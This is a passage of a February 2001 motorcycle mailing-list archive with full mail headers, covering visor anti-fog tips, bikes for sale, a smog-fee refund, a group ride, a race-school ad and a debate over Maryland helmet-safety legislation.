1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain The Smog Impact Fee ($300) was collected on certain vehicles which were previously registered in another state or country and then registered in California between October 15, 1990, and October 19, 1999. Legislative bills AB 809 (CH 31) and SB 215 (CH 32) repealed the Smog Impact Fee and: authorized refunds to be issued, appropriated funds for the refund program, and required the state to provide a simplified verification and claims procedure for refunding the collected fee, plus interest. (All due to a class action suit that resulted in an actual benefit to the little guys.) The program is alive and well and handing out checks. Mine came to a little over $500 due to the accumulation of interest. If you are eligible for this refund go to http://www.dmv.ca.gov/online/smoginq/smogreffaq.htm, NOW! Or call the nice (sic) DMV people at 916-229-0369. If you can provide a VIN you are way ahead of the game (fortunately, I've had the same vehicle since 1990). If not, don't get excited yet. I called my old DMV field office and they pulled up all the pertinent information based on an address alone. The program most likely has a drop dead date around the end of the year. Word. MC Happy Peoples Republic of Alexandria MRF 1012503, AMA 572649, MARRC 2567, RAT 79802 1998 T595 Daytona, call her "Boudicca" From dc-cycles-request Tue Feb 6 11:15:11 2001 Return-Path: Received: from bc-gwgate1.int.bcop.com (bcopgate.bcop.com [204.99.250.45]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f16GF7P23447 for ; Tue, 6 Feb 2001 11:15:08 -0500 (EST) Received: from BCGATE-DOM-Message_Server by bc-gwgate1.int.bcop.com with Novell_GroupWise; Tue, 06 Feb 2001 10:18:26 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.3.1 Date: Tue, 06 Feb 2001 10:11:36 -0600 From: "George Cole" To: , , Cc: , Subject: Re: De-Mist Faceshield??? Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f16GFEP23448 Chuck, When do you need de-fogging? Since you only ride in 70+ weather? :o) BTW, Fog-X works great on my Shoei. I have been out on 30 degree days. Cheers, George 00 VFR 99 R6 >>> cvkgpena@XXXXXX 02/06/01 10:51AM >>> I have this "stuff" I bought at the auto show a couple of years ago. It's a hard wax-like stick. I "scribble" it on my faceshield (both inside and out) and then buff/polish it. Seems to do the trick. I re-apply periodically. From dc-cycles-request Tue Feb 6 11:17:20 2001 Return-Path: Received: from worldtalk1.cooley.com (smtp-pebbles-wtalk.cooley.com [204.253.195.206]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f16GHHP23461 for ; Tue, 6 Feb 2001 11:17:18 -0500 (EST) Received: from 10.11.50.23 by worldtalk1.cooley.com with ESMTP ( WorldSecure Server SMTP Relay(WSS) v4.5); Tue, 06 Feb 2001 08:16:42 -0800 X-Server-Uuid: c4da1ae6-7048-11d2-bc8e-00a083360239 Received: by reexchange.cooley.com with Internet Mail Service ( 5.5.2650.21) id ; Tue, 6 Feb 2001 11:16:42 -0500 Message-ID: <7FEDB62047F5D311ACA10090274035030133C047@reexchange.cooley.com> From: "Lee, Robert" To: "'dc-cycles@XXXXXX'" Subject: Date: Tue, 6 Feb 2001 11:16:31 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) X-WSS-ID: 169EFCE0309604-01-01 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit EX 500's (2) I've got 2 EX 500's that I can turn into your street or track ride and would be a great track bike to keep that expensive one pretty! One is cosmetically challenged but runs well and priced to sell! Both have good to almost new tires. I have an extra set of rims which can be purchased if racing to keep a fresh set of tires handy. The cadillac of the two, ridden only on Sunday's at minimal lean has only 8k miles and great bodywork in BOLD black/red. I can add a yoshimura pipe in lieu of stock double cans, or a cut-down seat for a shorter rider on either bike. Any interest, see pics of them @ under the FOR SALE ITEMS tab. I'm willing to consider a trade of moto or non-moto items......entertain me......? relee@XXXXXX HAWK GT This bike is exactly what it says....He's out of the Northeast. 1988 Hawk GT street-bike, well-maintained; Kerker pipe, Factory Jets, Factory shift kit, CBR900 shock, RaceTech-ed forks, F3 front wheel, Corbin seat, newish BT-56ss tires. Have stock pipe, bars, seat, front wheel. Fantastic street and city bike! Asking $2500. Contact me at Mnavazio@XXXXXX. Thanks for the bandwidth robert ======================================================= This email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message From dc-cycles-request Tue Feb 6 11:25:52 2001 Return-Path: Received: from worldtalk1.cooley.com (smtp-pebbles-wtalk.cooley.com [204.253.195.206]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f16GPoP23551 for ; Tue, 6 Feb 2001 11:25:51 -0500 (EST) Received: from 10.11.50.23 by worldtalk1.cooley.com with ESMTP ( WorldSecure Server SMTP Relay(WSS) v4.5); Tue, 06 Feb 2001 08:25:26 -0800 X-Server-Uuid: c4da1ae6-7048-11d2-bc8e-00a083360239 Received: by reexchange.cooley.com with Internet Mail Service ( 5.5.2650.21) id ; Tue, 6 Feb 2001 11:25:26 -0500 Message-ID: <7FEDB62047F5D311ACA10090274035030133C048@reexchange.cooley.com> From: "Lee, Robert" To: "Lee, Robert" , "'dc-cycles@XXXXXX'" Subject: RE: Date: Tue, 6 Feb 2001 11:25:24 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) X-WSS-ID: 169EFAFC311171-01-01 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit yikes, no price on my EX - $1700 obo for the primo one $1000 obo for the cosmetically challenged one..... > -----Original Message----- > From: Lee, Robert > Sent: Tuesday, February 06, 2001 11:17 AM > To: 'dc-cycles@XXXXXX' > Subject: > > EX 500's (2) > I've got 2 EX 500's that I can turn into your street or track ride and > would be a great track bike to keep that expensive one pretty! One is > cosmetically challenged but runs well and priced to sell! Both have good > to almost new tires. I have an extra set of rims which can be purchased > if racing to keep a fresh set of tires handy. > The cadillac of the two, ridden only on Sunday's at minimal lean has only > 8k miles and great bodywork in BOLD black/red. I can add a yoshimura pipe > in lieu of stock double cans, or a cut-down seat for a shorter rider on > either bike. > Any interest, see pics of them @ > under the FOR SALE > ITEMS tab. > I'm willing to consider a trade of moto or non-moto items......entertain > me......? > relee@XXXXXX > > HAWK GT > This bike is exactly what it says....He's out of the Northeast. > 1988 Hawk GT street-bike, well-maintained; Kerker pipe, Factory Jets, > Factory shift kit, CBR900 shock, RaceTech-ed forks, F3 front wheel, Corbin > seat, newish BT-56ss tires. Have stock pipe, bars, seat, front wheel. > Fantastic street and city bike! Asking $2500. Contact me at > Mnavazio@XXXXXX. > > Thanks for the bandwidth > robert ======================================================= This email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message From dc-cycles-request Tue Feb 6 11:26:24 2001 Return-Path: Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16GQMP23561 for ; Tue, 6 Feb 2001 11:26:23 -0500 (EST) Received: from ix.netcom.com (vna-va25-36.ix.netcom.com [207.223.162.100]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id LAA04930; Tue, 6 Feb 2001 11:26:14 -0500 (EST) Message-ID: <3A8025F7.21B1CDDD@ix.netcom.com> Date: Tue, 06 Feb 2001 11:27:35 -0500 From: Chuck Pena Reply-To: the_penas@XXXXXX X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: dc-cycles@XXXXXX CC: George Cole Subject: Re: De-Mist Faceshield??? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit George, I readily admit that I am pretty much a wimp when it comes to riding in less than ideal weather. I avoid rain/wet/snow like the plague. But for your information Mr. Smarty Pants, I rode on Sunday (when the temp was 45 degrees) and I have a witness -- Chris Weaver. %^) Chuck George Cole wrote: > > Chuck, > > When do you need de-fogging? Since you only ride in 70+ weather? :o) > > BTW, Fog-X works great on my Shoei. I have been out on 30 degree days. -- "Wherever you go, there you are." -- Buckaroo Banzai visit us at http://www.geocities.com/the_penas From dc-cycles-request Tue Feb 6 11:41:34 2001 Return-Path: Received: from web906.mail.yahoo.com (web906.mail.yahoo.com [128.11.23.81]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f16GfVP23756 for ; Tue, 6 Feb 2001 11:41:32 -0500 (EST) Received: (qmail 12083 invoked by uid 60001); 6 Feb 2001 16:41:28 -0000 Message-ID: <20010206164128.12082.qmail@web906.mail.yahoo.com> Received: from [207.192.134.198] by web906.mail.yahoo.com; Tue, 06 Feb 2001 08:41:28 PST Date: Tue, 6 Feb 2001 08:41:28 -0800 (PST) From: Justin Stefanon Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety To: Perry Coleman , dcbike In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii True. Griping at politicians about laws intended to protect us gives them the impression that we are senseless nuts, thereby reinforcing their notion that we need protection from ourselves. We should strive to put forth a public face of sensibility. Then we would be in a position to demand the rights we deserve as people who prefer to utilize a fuel-efficient and space-efficient means of transportation. They are willing to pucker up to bicyclists, because there's nothing scary about bicycles and guys in shorts. If we had that kind of consideration from our legislators then we would be splitting lanes and filtering at stops like we should. For those of us who do like to ride like senseless nuts from time to time, we know that it is best done in remote locations anyhow, and not in the public eye. P.S. Bicyclists: I'm also a bicyclist, so don't get mad at me. You know we look goofy. __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From dc-cycles-request Tue Feb 6 13:46:26 2001 Return-Path: Received: from dchqexs1.fsis.usda.gov (wsc.ag.gov.203.128.199.in-addr.arpa [199.128.203.12] (may be forged)) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16IkPP25546 for ; Tue, 6 Feb 2001 13:46:25 -0500 (EST) Received: by wsc.ag.gov.203.128.199.in-addr.arpa with Internet Mail Service (5.5.2650.21) id <1FVXV69A>; Tue, 6 Feb 2001 13:46:16 -0500 Message-ID: <776B2ABC9364D411867B009027B69A2F01612D16@DCHQCLEXHQ> From: "Custer, Carl" To: "'DCCycles'" Cc: "'chris.weaver@XXXXXX'" Subject: De-Mist Faceshield??? Date: Tue, 6 Feb 2001 13:47:41 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Christopher Weaver wondered, "I rode in to work today because my car's in the shop. I had to constantly wipe the inside of my face shield due to misting. Is there any easy trick to stopping this temporarily? I have de-misting stuff at home, but since I'm at work they won't do me any good for the ride home. Does spit work or is that just an old riders' tale? What about dishwashing detergent?" Opening the visor is probably your best bet in a pinch -- as does exhaling downward (IIRC #4 in how to know if you're a winter rider) However, I believe a thin film of detergent (or soap) will disperse the condensate into a thin film (rather than the buncha water beads we know as visor fog) I use Fog X but you need to reapply it every few days -- and some folks say you can tell when plastic shields have been treated with Rain/Fog-X because they shatter when hit with a sledge hammer. So, I've forgone the fun of hitting my shield with sledge hammers. Carl in Bethesda (also agreeing with Gawthrop re pegs and adults who are peg-reaching challenged) From dc-cycles-request Tue Feb 6 16:05:06 2001 Return-Path: Received: from es05.hosts.jhmi.edu (es05.hosts.jhmi.edu [162.129.224.75]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16L54P27567 for ; Tue, 6 Feb 2001 16:05:04 -0500 (EST) Received: from peabody.jhu.edu (stevendipietro.peabody1.jhmi.edu [10.224.65.91]) by es05.hosts.jhmi.edu (8.9.3/8.9.3) with ESMTP id PAA11983; Tue, 6 Feb 2001 15:47:09 -0500 (EST) Message-ID: <3A806340.8472FB96@peabody.jhu.edu> Date: Tue, 06 Feb 2001 15:49:05 -0500 From: "Steven C. Di Pietro" Organization: Peabody Institute of The Johns Hopkins University X-Mailer: Mozilla 4.76 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: "SOCMd@XXXXXX" , "SOC-USA@XXXXXX" , "dccycles2@XXXXXX" , "D.C.Cycles-L" , Balt-Cycles-l Subject: [Fwd: Chesapeake Bay Blues Festival 2001] Content-Type: multipart/mixed; boundary="------------1A67D5264A380DD8E49C37F4" This is a multi-part message in MIME format. --------------1A67D5264A380DD8E49C37F4 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Heads Up! I'll be hosting a ride to this event. Mark your Calendars. More details to follow. as time grows near. Steven C. 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Tue, 6 Feb 2001 16:17:53 -0500 (EST) Received: from 207-172-45-73.s73.tnt5.brd.va.dialup.rcn.com ([207.172.45.73]) by smtp02.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14QFUh-0007Sg-00 ; Tue, 06 Feb 2001 16:17:48 -0500 From: daniel_ex250@XXXXXX To: "deus exMachina" Cc: , Subject: Re: DC Ride Date: Sat, 06 Feb 1999 16:20:02 -0800 Message-ID: References: <001301c08d74$f5edd0a0$2762f7a5@Deus.pipeline.com> In-Reply-To: <001301c08d74$f5edd0a0$2762f7a5@Deus.pipeline.com> X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f16LI1P27732 I could do a DC bikenight thing. That would be cool. Danny 00 zx6r From dc-cycles-request Tue Feb 6 16:19:14 2001 Return-Path: Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16LJCP27741 for ; Tue, 6 Feb 2001 16:19:12 -0500 (EST) Received: from pmismtp01.wcomnet.com ([166.38.62.36]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0G8C00D37TUX74@XXXXXX> for dc-cycles@XXXXXX; Tue, 6 Feb 2001 21:18:33 +0000 (GMT) Received: from pmismtp01.wcomnet.com by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G8C00901TUUM2@XXXXXX>; Tue, 06 Feb 2001 21:18:33 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp01.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G8C00814TUGXO@XXXXXX>; Tue, 06 Feb 2001 21:18:16 +0000 (GMT) Date: Tue, 06 Feb 2001 16:18:13 -0500 From: Dale Horstman Subject: Lunch run (long) To: Horkster Message-id: <3A806A15.84320AE6@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en Friends, Hope you enjoy. I don't normally write about trips this short, but this one was special. Horkster -- I took a little spin during lunch today. Weather here in Northern Virginia has been pretty rough this winter, with all the cold and snow (it snowed just yesterday) conspiring with work and family to seriously restrict my recreational riding this time of year. I could still ride back and forth to work most days, but I hadn't been able to really *ride* for weeks. Anyway, on this early-February midweek lunch break, things would be different. The sun was trying to peek out, the temps were hovering in the mid 40s, this was one of the nicer days I've seen in a while. I decided I needed miles more than I needed food. My office building sits just a few miles up the road from the I-66 onramp, and the hills were calling me. Interstate 66 is an interesting little highway. Stretching only 77 miles east to west, reaching from the back door of the White House out to I-81 in the Blue Ridge mountains, it's almost if the President himself wanted a 4-lane expressway out to the Shenandoah Valley. And who could blame him? I've often found great inner peace getting away from the big city myself. There's something about the rolling hills of the Piedmont, the peaceful calm of the rural countryside that still exists just a hour's ride west of the worlds most powerful city, that draws me out here time and time again. I ease the bike out of the office's parking garage at ten till noon. After three left turns and two miles, I'm rolling right onto the onramp of this tiny little interstate. Traffic is a bit busy at first, but starts to thin out as I roll past Manassas. There is just enough cold in the air to make the presence of my electric jacket nicely appreciated. I flip the switch I built in the Concours dash, and the heat starts flowing. Almost at the same time, my body starts relaxing on the bike as I settle into my accustomed riding position. Some riders find them boring, but I really like interstate riding on a motorcycle. Certainly, you still need to focus on the task at hand, but if traffic is sufficiently light, the wide open lanes, broad shoulders, clear sight lines, and smooth pavement allow you to dissociate from the present. It's almost like the bike becomes a time machine. Sit here, twist that, and watch time stand still, watch the odometer spin. In almost an instant I am past exits for towns with names like The Plains and Marshall. Time Compression via motorcycle. One can't get too carried away with time compression, though. In Virginia, a speeding ticket for 80mph or over carries an automatic reckless driving charge. And radar detectors are forbidden. But yet, 80mph has become almost the de facto speed limit on the sprawling highways. It becomes an interesting game of cat and mouse with law enforcement. Run along with traffic, and you can still be singled out and slapped with a reckless charge. I try to hold the bike steady at just under 80mph. The bike just purrs at these speeds, relishing in revs not usually seen on the commute. The bike needed this run nearly as much as I did. Before I know it, it's 20 minutes after the hour, and I should be thinking about turning back towards the ol' salt mine. I don't want to raise any more eyebrows at work than I already do. Stomping around the office in a bright green riding suit, boots, carrying a helmet and having a silly grin on my face has a way of doing that. Almost as if on cue, an exit looms before me. Exit 13. I smile. It figures. 13 has been an especially nice number for me in my lifetime. Today would be no different. Off at the exit, left on the little secondary road, and left onto the other on-ramp I go. Since I just came this way, and so no law enforcement to speak of, it might be time to stretch the bike's legs a little more than usual. A big handful of throttle, and the nice resounding roar of the tailpipes fills my helmet as I glide swiftly up the ramp and merge back onto the near empty highway. I touch triple digits once, slowing only to pass a solitary car at a more sane rate, then once well clear, I accelerate once more. What a rush! Secure in the knowledge that the warp drive system is fully functional, I back it back down to a more reasonable rate of progress, with a big grin hiding behind the helmet's chinbar. Before long, I'm back in the comfortable mode of scanning the roads front and rear, and the occasional pass of the solitary car or semi. Alive in the moment, yet somehow removed from it. That feeling that All is Right with the World once again. It's rare to hit this feeling so soon, on such a short ride, but there it is. Mission accomplished. As if to congratulate me on my success, the Sun, peeking to and fro from the clouds all day, finally came out for good, and smiled on me the rest of the trip back. The electrics can be switched off, for I've got all the Warmth I need now. I didn't make it the whole way out to the hills that were calling me today, but I got close enough to say 'Hi'. They will still be there for me next time. I continue on, take the exit for the office, and end up back in the parking garage, 1 hour 10 minutes after I left, with 86.3 miles showing on the trip-meter. So what did you do for lunch today? Tomorrow I might go out for a burger, or a salad, but for today, I decided to nourish the soul. Horkster -- Dale Horstman (the Horkster) the.horkster@XXXXXX Dale City, Virginia, USA, Earth 1998 Kawasaki Concours - BugSlayer 1999 Kawasaki Concours - Grape Nehi 1982 Suzuki GS850G 1987 Kawasaki Concours - untitled, un-named, previously un-loved New Member, Concours Rescue Society From dc-cycles-request Tue Feb 6 16:21:07 2001 Return-Path: Received: from hotmail.com (f241.pav1.hotmail.com [64.4.31.241]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16LL6P27819 for ; Tue, 6 Feb 2001 16:21:06 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 6 Feb 2001 13:20:57 -0800 Received: from 204.193.255.42 by pv1fd.pav1.hotmail.msn.com with HTTP; Tue, 06 Feb 2001 21:20:57 GMT X-Originating-IP: [204.193.255.42] From: "Doug Allis" To: Carl.Custer@XXXXXX Cc: dc-cycles@XXXXXX Subject: Re: De-Mist Faceshield??? Date: Tue, 06 Feb 2001 21:20:57 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 06 Feb 2001 21:20:57.0517 (UTC) FILETIME=[B22325D0:01C09082] If you're fogging on the inside of the faceshield you should get a Fog City fogshield for your helmet. See this link: http://www.motorcycle-superstore.com/product.asp?Dept=29&ID=744 I also keep an anti fog cloth on my bike for my glasses only. I wear a full face helmet. You stick the Fog City thing to the inside of your shield. I wear a full face helmet. I wouldn't ride in the rain without my Fog City thing. Almost any motorcycle store that sells helmets sells them. There is some legaleeze about not riding at night or in weather below freezing... and you will get some very minor headlight glare but I haven't a clue whats wrong with riding with it below freezing. Its still flexible even at 0 degrees F. >From: "Custer, Carl" >To: "'DCCycles'" >CC: "'chris.weaver@XXXXXX'" >Subject: De-Mist Faceshield??? >Date: Tue, 6 Feb 2001 13:47:41 -0500 > >Christopher Weaver wondered, >"I rode in to work today because my car's in the shop. I had to constantly >wipe the inside of my face shield due to misting. Is there any easy trick >to >stopping this temporarily? I have de-misting stuff at home, but since I'm >at >work they won't do me any good for the ride home. Does spit work or is that >just an old riders' tale? What about dishwashing detergent?" > >Opening the visor is probably your best bet in a pinch -- as does exhaling >downward (IIRC #4 in how to know if you're a winter rider) >However, I believe a thin film of detergent (or soap) will disperse the >condensate into a thin film (rather than the buncha water beads we know as >visor fog) >I use Fog X but you need to reapply it every few days -- and some folks say >you can tell when plastic shields have been treated with Rain/Fog-X because >they shatter when hit with a sledge hammer. So, I've forgone the fun of >hitting my shield with sledge hammers. >Carl in Bethesda (also agreeing with Gawthrop re pegs and adults who are >peg-reaching challenged) > _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Tue Feb 6 16:59:42 2001 Return-Path: Received: from imo-r11.mx.aol.com (imo-r11.mx.aol.com [152.163.225.65]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16LxeP28332 for ; Tue, 6 Feb 2001 16:59:40 -0500 (EST) Received: from Gawthrop@XXXXXX by imo-r11.mx.aol.com (mail_out_v29.5.) id i.6a.b14f2e3 (4532); Tue, 6 Feb 2001 16:59:14 -0500 (EST) From: Gawthrop@XXXXXX Message-ID: <6a.b14f2e3.27b1cdb2@aol.com> Date: Tue, 6 Feb 2001 16:59:14 EST Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety To: perrycoleman@XXXXXX, Gawthrop@XXXXXX, dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="part1_6a.b14f2e3.27b1cdb2_boundary" Content-Disposition: Inline X-Mailer: 6.0 sub 344 --part1_6a.b14f2e3.27b1cdb2_boundary Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/6/01 8:53:19 AM Eastern Standard Time, perrycoleman@XXXXXX writes: > . The amputee, dwarf, birth defect > stuff is just noise that you're throwing in. At least be honest about your > opposition to the law. If you see it as unnecessary intrusion into > indivdual > rights, then fight it on those grounds. If you see it as the first step on > the slippery slope of more legislation, then fight it on those grounds. > Don't try and fool me with this amputee stuff. > I'm surprised that you assume the amputee, dwarf and birth defect issues are noise. Families with these problems/circumstances testified in Cryor last meeting. Bill Gawthrop Maryland "I may disagree with what you have to say, but I shall defend, to the death, your right to say it." Voltaire (1694-1778) --part1_6a.b14f2e3.27b1cdb2_boundary Content-Type: text/html; charset="US-ASCII" Content-Transfer-Encoding: 7bit In a message dated 2/6/01 8:53:19 AM Eastern Standard Time,
perrycoleman@XXXXXX writes:


. The amputee, dwarf, birth defect
stuff is just noise that you're throwing in. At least be honest about your
opposition to the law. If you see it as unnecessary intrusion into
indivdual
rights, then fight it on those grounds. If you see it as the first step on
the slippery slope of more legislation, then fight it on those grounds.
Don't try and fool me with this amputee stuff.

I'm surprised that you assume the amputee, dwarf and birth defect issues are
noise. Families with these problems/circumstances testified in Cryor last
meeting.

Bill Gawthrop
Maryland

"I may disagree with what you have to say, but I shall defend, to the
death, your right to say it."   Voltaire (1694-1778)
--part1_6a.b14f2e3.27b1cdb2_boundary-- From dc-cycles-request Tue Feb 6 17:03:06 2001 Return-Path: Received: from imo-r03.mx.aol.com (imo-r03.mx.aol.com [152.163.225.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16M34P28419 for ; Tue, 6 Feb 2001 17:03:04 -0500 (EST) Received: from ScooterFZR@XXXXXX by imo-r03.mx.aol.com (mail_out_v29.5.) id 2.fd.1fac261 (15882) for ; Tue, 6 Feb 2001 17:02:38 -0500 (EST) Received: from web37.aolmail.aol.com (web37.aolmail.aol.com [205.188.222.13]) by air-id07.mx.aol.com (v77_r1.21) with ESMTP; Tue, 06 Feb 2001 17:02:38 -0500 Date: Tue, 06 Feb 2001 17:02:38 EST From: ScooterFZR@XXXXXX Subject: Re: CODERACE--is here. To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Mailer: Unknown (No Version) Message-ID: Thought some of you aspiring DC Cycles Racers might be interested in this. Scooter In a message dated Tue, 6 Feb 2001 3:45:25 PM Eastern Standard Time, "CA Super Bike" writes: << Jan 3-4, 2001, CODERACE was launched and was a smoking hot success! CODERACE is not a riding school or open track day. CODERACE is the first true race school and blows the doors off anything out there. Are you looking for the ultimate 2-day workout for your adrenal glands? Do you want expert, virtually one-on-one coaching with race proven techniques in: Starting, passing, and gain the ability to use any line on the track, plus find your own line? Keith Code has come up with more one-of-a-kind training aids: A radar gun to clock exact turn exit speeds, with a large readout you see before the next corner (feedback doesn't get any quicker than that!). Want to know which line is fastest? No guessing with this. Ride the brand new Body Steering bike--find out what really turns a motorcycle. Review your tape from the brand new video bike--students are taped from behind while instructor follows, and get personal reviews. Here is what one longtime rider and recent racer did: He had a personal lap time target to reach--4 seconds faster than he had ever gone. He went 11 seconds faster! (and per recent reports, has continued to improve). You will get the exhilaration and rush of racing--because you will race. (There is even a PACE/CCS series at the Streets of Willow Springs for graduates to continue to get their "fix.") You will get close to one-on-one attention to your racing skills from senior Superbike School instructors. Class size is very small, spaces limited (we don't overfill). All schools BYOB (Bring Your Own Bike) for 2001. April 4 & 5 Streets of Willow Springs, Rosamond, CA. May 2 & 3 Streets of Willow Springs, Rosamond, CA. August 20 & 21 Streets of Willow Springs, Rosamond, CA. October 29 & 30 Streets of Willow Springs, Rosamond, CA. November 28 & 29 Streets of Willow Springs, Rosamond, CA. Give us a call, at (818)841-7661, if you have any questions. Best, Cobie Fair California Superbike School cobie@XXXXXX PH: 818-841-7661 FX: 818-841-7019 >> From dc-cycles-request Tue Feb 6 17:05:53 2001 Return-Path: Received: from imo-r01.mx.aol.com (imo-r01.mx.aol.com [152.163.225.1]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16M5qP28497 for ; Tue, 6 Feb 2001 17:05:52 -0500 (EST) Received: from ScooterFZR@XXXXXX by imo-r01.mx.aol.com (mail_out_v29.5.) id l.b8.117ce8f9 (15911); Tue, 6 Feb 2001 17:05:20 -0500 (EST) Received: from web50.aolmail.aol.com (web50.aolmail.aol.com [205.188.161.11]) by air-id09.mx.aol.com (v77_r1.21) with ESMTP; Tue, 06 Feb 2001 17:05:20 -0500 Date: Tue, 06 Feb 2001 17:05:20 EST From: ScooterFZR@XXXXXX Subject: Re: DC Ride To: , Cc: , Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Mailer: Unknown (No Version) Message-ID: Yeah, me too. Now, someone organize one already. hehe Scooter In a message dated Tue, 6 Feb 2001 4:19:25 PM Eastern Standard Time, daniel_ex250@XXXXXX writes: << I could do a DC bikenight thing. That would be cool. Danny 00 zx6r >> From dc-cycles-request Tue Feb 6 17:33:20 2001 Return-Path: Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16MXHP28853 for ; Tue, 6 Feb 2001 17:33:18 -0500 (EST) Received: from Deus (user-2iveo2t.dialup.mindspring.com [165.247.96.93]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with SMTP id RAA29625; Tue, 6 Feb 2001 17:33:03 -0500 (EST) From: "deus exMachina" To: , Cc: , Subject: RE: DC Ride Date: Tue, 6 Feb 2001 17:33:41 -0500 Message-ID: <002601c0908c$db123a80$4f62f7a5@Deus.pipeline.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 In-Reply-To: I'm working on everything for this ride guys.. I'm preparing route maps, dates, times and all that good stuff.. All suggestions welcome.. I'm waiting for the weather to warm up a little before chosing a date. Anyone with a digital camera willing to take a few photos? Maybe Laura can get them on the page.. Hold tight guys/gals and we'll get this off the ground.. > -----Original Message----- > From: ScooterFZR@XXXXXX [mailto:ScooterFZR@XXXXXX] > Sent: Tuesday, February 06, 2001 5:05 PM > To: daniel_ex250@XXXXXX; deusman@XXXXXX > Cc: dc-cycles@XXXXXX; dccycles2@XXXXXX > Subject: Re: DC Ride > > > Yeah, me too. Now, someone organize one already. hehe > > Scooter > > In a message dated Tue, 6 Feb 2001 4:19:25 PM Eastern Standard > Time, daniel_ex250@XXXXXX writes: > > << I could do a DC bikenight thing. That would be cool. > > > Danny > 00 zx6r > >> > > From dc-cycles-request Tue Feb 6 17:52:18 2001 Return-Path: Received: from hotmail.com (f62.law7.hotmail.com [216.33.237.62]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f16MqGP29135 for ; Tue, 6 Feb 2001 17:52:17 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 6 Feb 2001 14:52:09 -0800 Received: from 209.70.39.9 by lw7fd.law7.hotmail.msn.com with HTTP; Tue, 06 Feb 2001 22:52:08 GMT X-Originating-IP: [209.70.39.9] From: "Perry Coleman" To: Gawthrop@XXXXXX, dc-cycles@XXXXXX Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety Date: Tue, 06 Feb 2001 17:52:08 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 06 Feb 2001 22:52:09.0033 (UTC) FILETIME=[6F6A3B90:01C0908F] Bill, If that's all you've got, then I imagine that this law will pass with little difficulty. Perry >From: Gawthrop@XXXXXX >To: perrycoleman@XXXXXX, Gawthrop@XXXXXX, dc-cycles@XXXXXX >Subject: Re: Delegate Jean Cryor Legislation Re Motorcycle Safety >Date: Tue, 